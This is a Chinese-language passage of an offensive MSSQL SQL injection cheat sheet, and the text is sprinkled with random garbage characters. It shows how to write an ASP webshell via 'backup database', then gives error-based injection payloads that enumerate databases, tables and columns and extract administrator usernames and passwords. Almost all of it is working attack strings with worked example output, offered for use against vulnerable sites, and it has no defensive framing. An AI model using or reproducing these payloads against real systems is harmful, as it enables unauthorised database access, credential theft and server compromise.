! r2 _; L5 E/ O14.mssql的backup创建webshell + C+ d& F: o- }use model - M! ?% h; P8 T8 j! u- V1 r% p
create table cmd(str image); 3 R' e& V- Q# |+ f' \0 ~
insert into cmd(str) values ('<% Dim oScript %>'); ! a3 B4 ]2 W6 d2 ~9 O
backup database model to disk='c:\l.asp'; : \2 ?0 E6 V( ]5 Y
* t0 E6 [4 D0 b15.mssql内置函数 $ h* w+ U: L5 F0 D7 y* }
;and (select @@version)>0 获得Windows的版本号 # i; ]! H* B% J2 o1 i7 X' Y;and user_name()='dbo' 判断当前系统的连接用户是不是sa # y$ q4 q- p8 ?1 \- [
;and (select user_name())>0 爆当前系统的连接用户 8 |% A8 H E+ X" |# F: B;and (select db_name())>0 得到当前连接的数据库 & U; j% P% [ R m2 P" \ ! n+ x. z. K7 L( H+ e . k( Y4 t$ L7 M Z p9 _' z6 U+ |$ E
MSSQL手注暴库 0 d: C( @9 U" h1 ? 4 I* R0 i. [9 u0 k0 `9 i4 p1.暴出当前表名和列名 + L1 X J/ x" h$ i# `9 ~6 [- F在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。% Q j" F j4 X$ b# H
, X* Q2 }% }0 z
第一.爆出所有数据库名8 o% ?* `7 n1 |5 V
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。6 c$ i v& R7 N5 R2 X' I
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。3 N+ c4 i* x" x
, r/ q$ H/ B8 J' f2 Y- ]2 mand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名% q7 D( Y4 z V% b) M
1 F; ]* y( H) {8 X
- e! p# Y0 q& n
第二.爆出指定库中的所有表名 0 b% b+ m4 L, n& z得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。 ~" l/ L5 w8 N `* G
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。7 E8 _0 [! ~6 {/ h. O( Z0 ~3 @
" D) u R; d, X' {; S: s' W
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')-- h" a& h7 L4 h" y& B9 H! S- Nand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))-- ) f- V4 [, g6 m& w' Zand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--8 I6 f6 q6 h& e) E
- T7 u k3 C, y B: n6 Q l9 L9 S
4.爆出指定表中的所有列名- \5 F( _0 q4 K6 V, K# n
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) ) k7 N4 W6 F7 u9 _, e: |//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'1 p$ e0 h7 J3 b" }* h
& u& h7 e) x2 X; E" J. Iand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名/ v9 [8 q# a% \; A' v9 `' e4 S; Y
7 B$ \, [3 Y( l% c! {/ V1 w再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- 6 f& R) [; `1 z; N; J4 J' Q& V
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。' C( w, B. Y6 B
/ k( O0 K$ j$ ?
d E- R# P( S' Cand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值 1 I/ D3 l) N0 n, p : I, H9 @& I3 I( Iand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名 ; G+ B. k) x+ J1 s- z7 _0 Z( M0 [# g0 ^) U' k' k& M! }
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- 7 b l+ ~6 N; u9 D, R
+ ?* }0 b; C" y$ j, i- ]2 b5 l" e9 R9 j$ p8 ~9 h
$ m: o) T4 C7 y* b2 n0 i
5.读取指定表中的数据 : m E9 V& }6 x! w# d! k' z, e1 C1 w& B9 i6 m C9 z0 L
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 : N5 z- s' k7 n9 {
0 b5 g+ I; I: p
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)-- # T* ` x N( j+ P1 q# [8 o" ?' p0 e5 H/ U
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码) I( X% ^ I- b4 n0 j$ M- Y/ e" u
' E1 ?7 V0 c( Z
( b! m& @& Q. S {and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao) 8 r6 a* x; o% |. Q 7 s$ ]3 E4 B4 f! Gand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang) ; i6 X. ]5 ^ R3 _( h0 O! y. u8 w6 _% B7 }' N) O0 N
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')-- + O; _2 h' i# P0 S6 d7 }- d : t$ V! ]! H& i% W; ^知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。 " _' z8 I; d: w0 a$ [